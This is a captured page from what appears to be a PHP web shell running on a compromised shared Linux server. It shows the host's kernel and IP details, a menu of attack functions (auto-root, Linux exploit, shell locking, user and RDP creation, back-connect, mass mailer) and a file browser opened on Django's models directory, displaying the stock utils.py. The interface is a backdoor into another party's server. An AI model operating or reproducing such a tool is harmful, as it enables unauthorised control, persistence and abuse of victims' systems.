Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
django /
db /
models /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
fields
[ DIR ]
drwxr-xr-x
functions
[ DIR ]
drwxr-xr-x
sql
[ DIR ]
drwxr-xr-x
__init__.py
2.46
KB
-rw-r--r--
aggregates.py
5.79
KB
-rw-r--r--
base.py
87.95
KB
-rw-r--r--
constants.py
117
B
-rw-r--r--
constraints.py
7.61
KB
-rw-r--r--
deletion.py
19.29
KB
-rw-r--r--
enums.py
2.69
KB
-rw-r--r--
expressions.py
51.01
KB
-rw-r--r--
indexes.py
11.02
KB
-rw-r--r--
lookups.py
22.76
KB
-rw-r--r--
manager.py
6.62
KB
-rw-r--r--
options.py
35.93
KB
-rw-r--r--
query.py
82.58
KB
-rw-r--r--
query_utils.py
12.38
KB
-rw-r--r--
signals.py
1.54
KB
-rw-r--r--
utils.py
1.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.py
import functools from collections import namedtuple def make_model_tuple(model): """ Take a model or a string of the form "app_label.ModelName" and return a corresponding ("app_label", "modelname") tuple. If a tuple is passed in, assume it's a valid model tuple already and return it unchanged. """ try: if isinstance(model, tuple): model_tuple = model elif isinstance(model, str): app_label, model_name = model.split(".") model_tuple = app_label, model_name.lower() else: model_tuple = model._meta.app_label, model._meta.model_name assert len(model_tuple) == 2 return model_tuple except (ValueError, AssertionError): raise ValueError( "Invalid model reference '%s'. String model references " "must be of the form 'app_label.ModelName'." % model ) def resolve_callables(mapping): """ Generate key/value pairs for the given mapping where the values are evaluated if they're callable. """ for k, v in mapping.items(): yield k, v() if callable(v) else v def unpickle_named_row(names, values): return create_namedtuple_class(*names)(*values) @functools.lru_cache() def create_namedtuple_class(*names): # Cache type() with @lru_cache() since it's too slow to be called for every # QuerySet evaluation. def __reduce__(self): return unpickle_named_row, (names, tuple(self)) return type( 'Row', (namedtuple('Row', names),), {'__reduce__': __reduce__, '__slots__': ()}, )
Close